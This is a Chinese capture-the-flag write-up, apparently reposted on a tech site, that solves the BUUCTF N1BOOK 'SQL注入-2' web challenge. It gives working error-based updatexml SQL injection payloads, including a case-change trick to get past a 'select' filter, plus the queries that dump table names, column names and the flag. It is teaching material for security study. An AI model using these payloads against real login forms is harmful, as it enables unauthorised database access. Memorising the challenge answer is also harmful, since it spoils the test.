• 首页 首页 icon
  • 工具库 工具库 icon
    • IP查询 IP查询 icon
  • 内容库 内容库 icon
    • 快讯库 快讯库 icon
    • 精品库 精品库 icon
    • 问答库 问答库 icon
  • 更多 更多 icon
    • 服务条款 服务条款 icon

[BUUCTF][N1BOOK][第一章 web入门]SQL注入-2(详细)

武飞扬头像
柠.筱
帮助1

目录

题目链接:

题目解析:

得到flag:


题目链接:

https://buuoj.cn/challenges#[第一章 web入门]SQL注入-2

学新通

题目解析:

学新通

我们按提示分别访问/login.php /user.php 去看看

进入页面后习惯性地查看源代码发现有一行注释提示,告诉我们:

可以在url后加入?tips=1 开启mysql错误提示,使用burp发包就可以看到啦

学新通

学新通

 另一个页面则就只有一行 login first,没有太多用处

学新通

 页面提交的账号密码,在burp中抓到这个包,使用Ctrl r将数据发送到repeater进行重发送

学新通

 然后在burp中的login.php后添加?tips=1,Send发送查看现象

学新通

 正常send提示账号不存在

学新通

 使用普通payload:,发现是select被过滤了 (密码写啥都行,因为前面注释掉密码了)

name=1'and updatexml(1,concat(0x7e,(select 1 from dual)),1)-- &pass=xxxx

学新通

 尝试一下大小写绕过,成功得到正常回显

name=1'and updatexml(1,concat(0x7e,(sELECT 1 from dual)),1)-- &pass=1' and 1=2 -- 

学新通

查表名: 

sELEct后的1改为group_concat(table_name)dual改为information_schema.tables where table_schema=database()以查看所有表名

得到pyload:

name=1'and updatexml(1,concat(0x7e,(sELECT group_concat(table_name) from information_schema.tables where table_schema=database())),1)-- &pass=1' and 1=2 -- 

学新通

 查看fl4g的字段:

要看fl4g的字段,分别改为把之前的两个地方改为group_concat(column_name)和information_schema.columns where table_name=‘fl4g’

得到pyload:

name=1'and updatexml(1,concat(0x7e,(sELECT group_concat(column_name) from information_schema.columns where table_name='fl4g')),1)-- &pass=1' and 1=2 -- 

学新通

 查看字段获取flag

payload

name=1'and updatexml(1,concat(0x7e,(sELECT flag from fl4g)),1)-- &pass=1' and 1=2 -- 

学新通

得到flag

n1book{login_sqli_is_nice}

*题目原理*

1、有的网站会开启错误调试信息方便开发者调试,可以利用报错信息进行报错注入

2updatexml第二个参数应为合法XPATH路径,否则会在引发报错的同时输出传入的参数

3dual用于测试数据库是否可以正常使用

4、如果没有报错提示,可以bool注入

这篇好文章是转载于:学新通技术网

  • 版权申明: 本站部分内容来自互联网,仅供学习及演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,请提供相关证据及您的身份证明,我们将在收到邮件后48小时内删除。
  • 本站站名: 学新通技术网
  • 本文地址: /boutique/detail/tanhgfeigb
系列文章
更多 icon
同类精品
更多 icon
继续加载